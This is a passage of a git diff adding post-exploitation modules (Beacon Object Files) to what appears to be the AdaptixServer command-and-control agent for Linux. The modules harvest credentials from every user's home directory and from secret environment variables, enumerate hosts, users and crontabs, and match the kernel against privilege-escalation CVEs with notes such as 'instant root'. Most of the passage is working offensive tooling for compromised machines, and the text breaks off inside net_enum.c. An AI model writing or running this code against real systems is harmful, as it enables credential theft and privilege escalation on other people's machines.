+ }; + + int found = 0; + for (int i = 0; env_vars[i]; i++) { + char val[1024]; + if (AxGetEnv(env_vars[i], val, sizeof(val)) > 0) { + // Mask partial value for OPSEC + int vlen = AxStrlen(val); + if (vlen > 8) { + BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %c%c%c%c...%c%c%c%c (%d chars)\n", + env_vars[i], val[0], val[1], val[2], val[3], + val[vlen-4], val[vlen-3], val[vlen-2], val[vlen-1], vlen); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %s\n", env_vars[i], val); + } + found++; + } + } + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no secret env vars found)\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep credential harvest\n"); + + // 1. Scan all users from /etc/passwd + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (passwd_len > 0 && passwd) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Per-user credential files ===\n"); + + char *line = passwd; + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // Parse: username:x:uid:gid:gecos:homedir:shell + int field = 0; + char *username = line; + int username_len = 0; + char *homedir = (char *)0; + int homedir_len = 0; + char *field_start = line; + + for (char *p = line; p <= eol; p++) { + if (p == eol || *p == ':') { + if (field == 0) { + username = field_start; + username_len = (int)(p - field_start); + } else if (field == 5) { + homedir = field_start; + homedir_len = (int)(p - field_start); + } + field++; + field_start = p + 1; + } + } + + if (homedir && homedir_len > 1 && homedir_len < 256) { + char home_buf[512]; + AxMemcpy(home_buf, homedir, homedir_len); + home_buf[homedir_len] = '\0'; + + char uname_buf[256]; + if (username_len > 255) username_len = 255; + AxMemcpy(uname_buf, username, username_len); + uname_buf[username_len] = '\0'; + + // Skip nonexistent home dirs + unsigned int mode = 0; + if (AxFileStat(home_buf, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) { + scan_user_creds(home_buf, uname_buf); + } + } + + line = eol + 1; + } + AxFree(passwd); + } + + // 2. System-wide credential files + check_system_creds(); + + // 3. Environment variables + check_env_creds(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Harvest complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c new file mode 100644 index 000000000..02115a04b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c @@ -0,0 +1,309 @@ +/// host_recon.c — BOF: Host reconnaissance (system info, users, groups, login history, crontabs) +/// Compile: gcc -c -o host_recon.o host_recon.c -include bof_api.h -Os -fPIC +/// Usage: execute bof host_recon.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +static void dump_file(const char *title, const char *path, int max_size) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, max_size); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", title); + BeaconOutput(CALLBACK_OUTPUT, data, len); + if (data[len - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + } +} + +static void system_info(void) { + BeaconPrintf(CALLBACK_OUTPUT, "=== System Information ===\n"); + + // Hostname + char *hn = (char *)0; + int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hn, 256); + if (hn_len > 0 && hn) { + // Trim trailing newline + if (hn[hn_len - 1] == '\n') hn[hn_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Hostname: %s\n", hn); + AxFree(hn); + } + + // Domain + char *dm = (char *)0; + int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &dm, 256); + if (dm_len > 0 && dm) { + if (dm[dm_len - 1] == '\n') dm[dm_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Domain: %s\n", dm); + AxFree(dm); + } + + // Kernel + char *ver = (char *)0; + int ver_len = AxReadFileToBuffer("/proc/version", &ver, 512); + if (ver_len > 0 && ver) { + if (ver[ver_len - 1] == '\n') ver[ver_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Kernel: %s\n", ver); + AxFree(ver); + } + + // OS release + char *os = (char *)0; + int os_len = AxReadFileToBuffer("/etc/os-release", &os, 4096); + if (os_len > 0 && os) { + // Extract PRETTY_NAME + char *pn = AxStrstr(os, "PRETTY_NAME="); + if (pn) { + pn += 12; + if (*pn == '"') pn++; + char *end = AxStrchr(pn, '"'); + if (!end) end = AxStrchr(pn, '\n'); + if (end) { + char osname[256]; + int nlen = (int)(end - pn); + if (nlen > 255) nlen = 255; + AxMemcpy(osname, pn, nlen); + osname[nlen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " OS: %s\n", osname); + } + } + AxFree(os); + } + + // Uptime + char *up = (char *)0; + int up_len = AxReadFileToBuffer("/proc/uptime", &up, 128); + if (up_len > 0 && up) { + // First field is total seconds + long seconds = 0; + char *p = up; + while (*p >= '0' && *p <= '9') { + seconds = seconds * 10 + (*p - '0'); + p++; + } + long days = seconds / 86400; + long hours = (seconds % 86400) / 3600; + long mins = (seconds % 3600) / 60; + BeaconPrintf(CALLBACK_OUTPUT, " Uptime: %ldd %ldh %ldm\n", days, hours, mins); + AxFree(up); + } + + // CPU info (first processor) + char *cpu = (char *)0; + int cpu_len = AxReadFileToBuffer("/proc/cpuinfo", &cpu, 8192); + if (cpu_len > 0 && cpu) { + char *model = AxStrstr(cpu, "model name"); + if (model) { + char *colon = AxStrchr(model, ':'); + if (colon) { + colon++; + while (*colon == ' ' || *colon == '\t') colon++; + char *eol = AxStrchr(colon, '\n'); + if (eol) { + char cpuname[256]; + int clen = (int)(eol - colon); + if (clen > 255) clen = 255; + AxMemcpy(cpuname, colon, clen); + cpuname[clen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " CPU: %s\n", cpuname); + } + } + } + // Count processors + int ncpu = 0; + char *search = cpu; + while ((search = AxStrstr(search, "processor")) != (char *)0) { + ncpu++; + search += 9; + } + BeaconPrintf(CALLBACK_OUTPUT, " CPU cores: %d\n", ncpu); + AxFree(cpu); + } + + // Memory + char *mem = (char *)0; + int mem_len = AxReadFileToBuffer("/proc/meminfo", &mem, 4096); + if (mem_len > 0 && mem) { + char *mt = AxStrstr(mem, "MemTotal:"); + char *mf = AxStrstr(mem, "MemAvailable:"); + if (mt) { + mt += 9; + while (*mt == ' ') mt++; + long total = 0; + while (*mt >= '0' && *mt <= '9') { total = total * 10 + (*mt - '0'); mt++; } + BeaconPrintf(CALLBACK_OUTPUT, " RAM total: %ld MB\n", total / 1024); + } + if (mf) { + mf += 13; + while (*mf == ' ') mf++; + long avail = 0; + while (*mf >= '0' && *mf <= '9') { avail = avail * 10 + (*mf - '0'); mf++; } + BeaconPrintf(CALLBACK_OUTPUT, " RAM avail: %ld MB\n", avail / 1024); + } + AxFree(mem); + } + + // Architecture + BeaconPrintf(CALLBACK_OUTPUT, " PID: %d\n", AxGetPid()); + BeaconPrintf(CALLBACK_OUTPUT, " UID: %d EUID: %d\n", AxGetUid(), AxGetEuid()); +} + +static void enum_users(void) { + char *passwd = (char *)0; + int len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (len <= 0 || !passwd) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Users with shell access ===\n"); + BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n", + "USERNAME", "UID", "GID", "HOME", "SHELL"); + + char *line = passwd; + while (line < passwd + len) { + char *eol = line; + while (eol < passwd + len && *eol != '\n') eol++; + + // Parse: user:x:uid:gid:gecos:home:shell + char *fields[7]; + int nfields = 0; + char *fstart = line; + for (char *p = line; p <= eol && nfields < 7; p++) { + if (p == eol || *p == ':') { + fields[nfields++] = fstart; + if (p < eol) *p = '\0'; // Temporary null termination + fstart = p + 1; + } + } + + if (nfields >= 7) { + // Skip nologin/false + int skip = 0; + int shell_len = AxStrlen(fields[6]); + if (shell_len >= 7 && AxStrncmp(fields[6] + shell_len - 7, "nologin", 7) == 0) skip = 1; + if (shell_len >= 5 && AxStrncmp(fields[6] + shell_len - 5, "false", 5) == 0) skip = 1; + if (AxStrcmp(fields[6], "/bin/sync") == 0) skip = 1; + + if (!skip) { + BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n", + fields[0], fields[2], fields[3], fields[5], fields[6]); + } + } + + // Restore colons (not strictly needed since we own the buffer) + line = eol + 1; + } + AxFree(passwd); +} + +static void enum_groups(void) { + char *groups = (char *)0; + int len = AxReadFileToBuffer("/etc/group", &groups, 524288); + if (len <= 0 || !groups) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Groups with members ===\n"); + + char *line = groups; + while (line < groups + len) { + char *eol = line; + while (eol < groups + len && *eol != '\n') eol++; + + // group:x:gid:member1,member2 + // Find last colon + char *last_colon = eol; + int colons = 0; + for (char *p = line; p < eol; p++) { + if (*p == ':') { last_colon = p; colons++; } + } + + if (colons >= 3 && last_colon + 1 < eol) { + // Has members — show this group + char gline[512]; + int glen = (int)(eol - line); + if (glen > 511) glen = 511; + AxMemcpy(gline, line, glen); + gline[glen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gline); + } + + line = eol + 1; + } + AxFree(groups); +} + +static void enum_crontabs(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Crontabs ===\n"); + + // System crontab + char *crontab = (char *)0; + int ct_len = AxReadFileToBuffer("/etc/crontab", &crontab, 65536); + if (ct_len > 0 && crontab) { + BeaconPrintf(CALLBACK_OUTPUT, " [/etc/crontab]\n"); + // Show non-comment lines + char *line = crontab; + while (line < crontab + ct_len) { + char *eol = line; + while (eol < crontab + ct_len && *eol != '\n') eol++; + int llen = (int)(eol - line); + if (llen > 0 && line[0] != '#') { + char *s = line; + while (s < eol && (*s == ' ' || *s == '\t')) s++; + if (s < eol) { + char lbuf[512]; + int ll = (int)(eol - line); + if (ll > 511) ll = 511; + AxMemcpy(lbuf, line, ll); + lbuf[ll] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + } + line = eol + 1; + } + AxFree(crontab); + } + + // /etc/cron.d/ + int dirfd = AxOpenDir("/etc/cron.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + char fpath[256]; + AxSnprintf(fpath, sizeof(fpath), "/etc/cron.d/%s", entry->d_name); + BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", fpath); + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Host reconnaissance\n\n"); + + system_info(); + enum_users(); + enum_groups(); + enum_crontabs(); + + // Login shells + dump_file("Available shells", "/etc/shells", 4096); + + // Timezone + dump_file("Timezone", "/etc/timezone", 128); + + // Machine ID + dump_file("Machine ID", "/etc/machine-id", 128); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Host recon complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c new file mode 100644 index 000000000..5318f1169 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c @@ -0,0 +1,251 @@ +/// kernel_exploit_check.c — BOF: Check kernel version against known privilege escalation CVEs +/// Compile: gcc -c -o kernel_exploit_check.o kernel_exploit_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof kernel_exploit_check.o + +typedef struct { + const char *cve; + const char *name; + int min_major, min_minor, min_patch; + int max_major, max_minor, max_patch; + const char *note; +} kernel_cve_t; + +static const kernel_cve_t kernel_cves[] = { + // DirtyPipe + {"CVE-2022-0847", "DirtyPipe", 5, 8, 0, 5, 16, 10, + "Arbitrary file overwrite via pipe — instant root. Fixed in 5.16.11, 5.15.25, 5.10.102"}, + // DirtyCow + {"CVE-2016-5195", "DirtyCow", 2, 6, 22, 4, 8, 2, + "Race condition in COW — write to read-only mappings. Fixed in 4.8.3"}, + // Sequoia (size_t overflow in seq_file) + {"CVE-2021-33909", "Sequoia", 3, 16, 0, 5, 13, 3, + "size_t overflow in filesystem layer — path length exploitation. Fixed in 5.13.4"}, + // Polkit pkexec + {"CVE-2021-4034", "PwnKit (pkexec)", 0, 0, 0, 99, 99, 99, + "Not kernel but pkexec — affects nearly all Linux distros. Check: ls -la /usr/bin/pkexec"}, + // Netfilter nf_tables + {"CVE-2022-32250", "nf_tables UAF", 5, 8, 0, 5, 18, 0, + "Use-after-free in nf_tables — local privesc. Fixed in 5.18.1"}, + // io_uring + {"CVE-2022-29582", "io_uring UAF", 5, 10, 0, 5, 17, 2, + "io_uring fixed file use-after-free — requires io_uring access. Fixed in 5.17.3"}, + // Dirty Cred + {"CVE-2022-2588", "DirtyCred (route4)", 4, 4, 0, 5, 19, 0, + "route4 filter UAF — swap unprivileged creds. Fixed in 5.19.1"}, + // OverlayFS (multiple) + {"CVE-2023-0386", "OverlayFS privesc", 5, 11, 0, 6, 2, 0, + "OverlayFS setuid copy-up bypass — mount ns + FUSE. Fixed in 6.2"}, + // StackRot + {"CVE-2023-3269", "StackRot", 6, 1, 0, 6, 4, 0, + "Maple tree RCU UAF — VMA write via stack expansion. Fixed in 6.4.1"}, + // nftables (2023) + {"CVE-2023-32233", "nftables batch UAF", 5, 1, 0, 6, 3, 1, + "Nftables anonymous set UAF — requires CAP_NET_ADMIN. Fixed in 6.3.2"}, + // GameOver(lay) + {"CVE-2023-2640", "GameOver(lay)", 5, 15, 0, 6, 4, 0, + "Ubuntu-specific OverlayFS — setxattr on overlayfs grants caps. Ubuntu only."}, + // Looney Tunables (glibc) + {"CVE-2023-4911", "Looney Tunables", 0, 0, 0, 99, 99, 99, + "glibc GLIBC_TUNABLES buffer overflow — not kernel but local root. Check glibc version."}, + // netfilter nf_tables 2024 + {"CVE-2024-1086", "nf_tables double-free", 5, 14, 0, 6, 7, 1, + "nf_verdict double-free — reliable local root. Fixed in 6.7.2. Public exploit available."}, + // io_uring 2024 + {"CVE-2024-0582", "io_uring PBUF ring", 6, 4, 0, 6, 7, 0, + "io_uring provided buffer ring mmap UAF. Fixed in 6.7"}, + // Sentinel + {(const char *)0, (const char *)0, 0,0,0, 0,0,0, (const char *)0} +}; + +static int parse_kernel_version(const char *str, int *major, int *minor, int *patch) { + *major = *minor = *patch = 0; + + // Parse major + while (*str >= '0' && *str <= '9') { + *major = *major * 10 + (*str - '0'); + str++; + } + if (*str != '.') return -1; + str++; + + // Parse minor + while (*str >= '0' && *str <= '9') { + *minor = *minor * 10 + (*str - '0'); + str++; + } + if (*str == '.') { + str++; + // Parse patch + while (*str >= '0' && *str <= '9') { + *patch = *patch * 10 + (*str - '0'); + str++; + } + } + + return 0; +} + +// Compare versions: -1 if a < b, 0 if a == b, 1 if a > b +static int version_compare(int maj_a, int min_a, int pat_a, + int maj_b, int min_b, int pat_b) { + if (maj_a != maj_b) return (maj_a < maj_b) ? -1 : 1; + if (min_a != min_b) return (min_a < min_b) ? -1 : 1; + if (pat_a != pat_b) return (pat_a < pat_b) ? -1 : 1; + return 0; +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Kernel exploit checker\n\n"); + + // 1. Read kernel version + char *version_str = (char *)0; + int vlen = AxReadFileToBuffer("/proc/version", &version_str, 4096); + if (vlen <= 0 || !version_str) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /proc/version\n"); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "=== Kernel ===\n"); + BeaconOutput(CALLBACK_OUTPUT, version_str, vlen); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + + // Extract version number — find "Linux version X.Y.Z" + char *ver_start = AxStrstr(version_str, "Linux version "); + int major = 0, minor = 0, patch = 0; + if (ver_start) { + ver_start += 14; // skip "Linux version " + parse_kernel_version(ver_start, &major, &minor, &patch); + } else { + // Try direct parse + parse_kernel_version(version_str, &major, &minor, &patch); + } + AxFree(version_str); + + BeaconPrintf(CALLBACK_OUTPUT, "Parsed version: %d.%d.%d\n\n", major, minor, patch); + + if (major == 0 && minor == 0 && patch == 0) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to parse kernel version\n"); + return; + } + + // 2. Check against CVE database + BeaconPrintf(CALLBACK_OUTPUT, "=== Potential CVEs ===\n"); + int vulnerable = 0; + + for (int i = 0; kernel_cves[i].cve; i++) { + int in_range = + (version_compare(major, minor, patch, + kernel_cves[i].min_major, kernel_cves[i].min_minor, kernel_cves[i].min_patch) >= 0) && + (version_compare(major, minor, patch, + kernel_cves[i].max_major, kernel_cves[i].max_minor, kernel_cves[i].max_patch) <= 0); + + if (in_range) { + BeaconPrintf(CALLBACK_OUTPUT, "[!!] %s — %s\n", kernel_cves[i].cve, kernel_cves[i].name); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n\n", kernel_cves[i].note); + vulnerable++; + } + } + + if (vulnerable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no matching CVEs for kernel %d.%d.%d)\n", major, minor, patch); + } + + // 3. Additional system info for manual analysis + BeaconPrintf(CALLBACK_OUTPUT, "\n=== System info ===\n"); + + // Distribution info + const char *dist_files[] = { + "/etc/os-release", "/etc/lsb-release", "/etc/redhat-release", + "/etc/debian_version", (const char *)0 + }; + + for (int i = 0; dist_files[i]; i++) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(dist_files[i], &data, 4096); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "%s:\n", dist_files[i]); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + break; // Only show first found + } + } + + // Check security features + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Security features ===\n"); + + // SELinux + char *selinux = (char *)0; + int se_len = AxReadFileToBuffer("/sys/fs/selinux/enforce", &selinux, 64); + if (se_len > 0 && selinux) { + BeaconPrintf(CALLBACK_OUTPUT, " SELinux: %s\n", + selinux[0] == '1' ? "enforcing" : "permissive/disabled"); + AxFree(selinux); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " SELinux: not present\n"); + } + + // AppArmor + char *apparmor = (char *)0; + int aa_len = AxReadFileToBuffer("/sys/kernel/security/apparmor/profiles", &apparmor, 4096); + if (aa_len > 0 && apparmor) { + // Count profiles + int profiles = 0; + for (int i = 0; i < aa_len; i++) { + if (apparmor[i] == '\n') profiles++; + } + BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: active (%d profiles)\n", profiles); + AxFree(apparmor); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: not present\n"); + } + + // ASLR + char *aslr = (char *)0; + int aslr_len = AxReadFileToBuffer("/proc/sys/kernel/randomize_va_space", &aslr, 64); + if (aslr_len > 0 && aslr) { + int level = aslr[0] - '0'; + const char *aslr_desc = "unknown"; + if (level == 0) aslr_desc = "disabled"; + else if (level == 1) aslr_desc = "partial"; + else if (level == 2) aslr_desc = "full"; + BeaconPrintf(CALLBACK_OUTPUT, " ASLR: %s (%d)\n", aslr_desc, level); + AxFree(aslr); + } + + // Check if unprivileged BPF is allowed + char *bpf = (char *)0; + int bpf_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_bpf_disabled", &bpf, 64); + if (bpf_len > 0 && bpf) { + BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged BPF: %s\n", + bpf[0] == '0' ? "ALLOWED (attack surface)" : "disabled"); + AxFree(bpf); + } + + // Check unprivileged user namespaces + char *userns = (char *)0; + int userns_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_userns_clone", &userns, 64); + if (userns_len > 0 && userns) { + BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged user namespaces: %s\n", + userns[0] == '1' ? "ALLOWED (enables many exploits)" : "disabled"); + AxFree(userns); + } + + // kptr_restrict + char *kptr = (char *)0; + int kptr_len = AxReadFileToBuffer("/proc/sys/kernel/kptr_restrict", &kptr, 64); + if (kptr_len > 0 && kptr) { + BeaconPrintf(CALLBACK_OUTPUT, " kptr_restrict: %c\n", kptr[0]); + AxFree(kptr); + } + + // dmesg_restrict + char *dmesg = (char *)0; + int dmesg_len = AxReadFileToBuffer("/proc/sys/kernel/dmesg_restrict", &dmesg, 64); + if (dmesg_len > 0 && dmesg) { + BeaconPrintf(CALLBACK_OUTPUT, " dmesg_restrict: %c\n", dmesg[0]); + AxFree(dmesg); + } + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Check complete — %d potential CVE(s)\n", vulnerable); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c new file mode 100644 index 000000000..35c49d127 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c @@ -0,0 +1,257 @@ +/// ld_preload_check.c — BOF: Check for LD_PRELOAD hooks, /etc/ld.so.preload, rogue shared libs +/// Compile: gcc -c -o ld_preload_check.o ld_preload_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof ld_preload_check.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; } + return val; +} + +static void check_ld_preload_env(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_PRELOAD environment variable ===\n"); + + // Check our own process + char val[1024]; + if (AxGetEnv("LD_PRELOAD", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Current process: LD_PRELOAD=%s\n", val); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set in current process\n"); + } + + // Scan all processes for LD_PRELOAD + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Scanning all processes for LD_PRELOAD ===\n"); + int found = 0; + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) return; + + char dirbuf[8192]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + char path[128]; + AxSnprintf(path, sizeof(path), "/proc/%d/environ", pid); + + char *env = (char *)0; + int env_len = AxReadFileToBuffer(path, &env, 65536); + if (env_len > 0 && env) { + // Search for LD_PRELOAD= in null-separated environ + int epos = 0; + while (epos < env_len) { + char *entry_str = env + epos; + int elen = 0; + while (epos + elen < env_len && entry_str[elen] != '\0') elen++; + + if (elen > 11 && AxStrncmp(entry_str, "LD_PRELOAD=", 11) == 0) { + // Get process name + char pname[128]; + pname[0] = '\0'; + char spath[128]; + AxSnprintf(spath, sizeof(spath), "/proc/%d/comm", pid); + char *comm = (char *)0; + int clen = AxReadFileToBuffer(spath, &comm, 128); + if (clen > 0 && comm) { + if (comm[clen - 1] == '\n') comm[clen - 1] = '\0'; + AxStrcpy(pname, comm); + AxFree(comm); + } + + char preload_val[512]; + int vlen = elen - 11; + if (vlen > 511) vlen = 511; + AxMemcpy(preload_val, entry_str + 11, vlen); + preload_val[vlen] = '\0'; + + BeaconPrintf(CALLBACK_OUTPUT, + " [!!] PID %-6d (%s): LD_PRELOAD=%s\n", + pid, pname, preload_val); + found++; + break; + } + epos += elen + 1; + } + AxFree(env); + } + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No processes with LD_PRELOAD\n"); + } +} + +static void check_ld_so_preload(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.preload ===\n"); + + char *data = (char *)0; + int len = AxReadFileToBuffer("/etc/ld.so.preload", &data, 8192); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] /etc/ld.so.preload EXISTS — global preload active!\n"); + + char *line = data; + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + int llen = (int)(eol - line); + + if (llen > 0 && line[0] != '#') { + char lbuf[512]; + if (llen > 511) llen = 511; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + + // Check if library exists + unsigned int mode = 0; + long fsize = 0; + int exists = (AxFileStat(lbuf, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0); + + BeaconPrintf(CALLBACK_OUTPUT, " [PRELOAD] %s (%s, %ld bytes)\n", + lbuf, exists ? "exists" : "MISSING", fsize); + } + line = eol + 1; + } + AxFree(data); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] /etc/ld.so.preload does not exist (normal)\n"); + } +} + +static void check_ld_library_path(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_LIBRARY_PATH ===\n"); + + char val[2048]; + if (AxGetEnv("LD_LIBRARY_PATH", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] LD_LIBRARY_PATH=%s\n", val); + BeaconPrintf(CALLBACK_OUTPUT, " (non-standard library search paths — potential hijack vector)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set\n"); + } +} + +static void check_ld_so_conf(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.conf + /etc/ld.so.conf.d/ ===\n"); + + char *conf = (char *)0; + int conf_len = AxReadFileToBuffer("/etc/ld.so.conf", &conf, 8192); + if (conf_len > 0 && conf) { + BeaconPrintf(CALLBACK_OUTPUT, " /etc/ld.so.conf:\n"); + char *line = conf; + while (line < conf + conf_len) { + char *eol = line; + while (eol < conf + conf_len && *eol != '\n') eol++; + int llen = (int)(eol - line); + if (llen > 0 && line[0] != '#') { + char lbuf[256]; + if (llen > 255) llen = 255; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + line = eol + 1; + } + AxFree(conf); + } + + // Scan /etc/ld.so.conf.d/ + int dirfd = AxOpenDir("/etc/ld.so.conf.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + char fpath[256]; + AxSnprintf(fpath, sizeof(fpath), "/etc/ld.so.conf.d/%s", entry->d_name); + char *fdata = (char *)0; + int flen = AxReadFileToBuffer(fpath, &fdata, 4096); + if (flen > 0 && fdata) { + BeaconPrintf(CALLBACK_OUTPUT, " %s:\n", fpath); + char *fl = fdata; + while (fl < fdata + flen) { + char *feol = fl; + while (feol < fdata + flen && *feol != '\n') feol++; + int fllen = (int)(feol - fl); + if (fllen > 0 && fl[0] != '#') { + char flbuf[256]; + if (fllen > 255) fllen = 255; + AxMemcpy(flbuf, fl, fllen); + flbuf[fllen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", flbuf); + } + fl = feol + 1; + } + AxFree(fdata); + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } +} + +static void check_rpath_abuse(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Writable library directories ===\n"); + + // Check if any standard lib dirs are writable + const char *lib_dirs[] = { + "/lib", "/lib64", "/usr/lib", "/usr/lib64", + "/usr/local/lib", "/usr/local/lib64", + (const char *)0 + }; + + int writable = 0; + for (int i = 0; lib_dirs[i]; i++) { + unsigned int mode = 0; + if (AxFileStat(lib_dirs[i], &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) { + // Check world-writable (or our uid writable) + if (mode & 002) { // world-writable + BeaconPrintf(CALLBACK_OUTPUT, " [!!] %s is world-writable!\n", lib_dirs[i]); + writable++; + } + } + } + + if (writable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Standard library directories are properly protected\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] LD_PRELOAD / shared library hook analysis\n"); + + check_ld_preload_env(); + check_ld_so_preload(); + check_ld_library_path(); + check_ld_so_conf(); + check_rpath_abuse(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] LD analysis complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c new file mode 100644 index 000000000..3e1a552bf --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c @@ -0,0 +1,238 @@ +/// net_enum.c — BOF: Network enumeration (interfaces, routes, ARP, DNS, connections) +/// Compile: gcc -c -o net_enum.o net_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof net_enum.o + +static void dump_file_section(const char *title, const char *path) { + char *data = (char *)0; + int len = 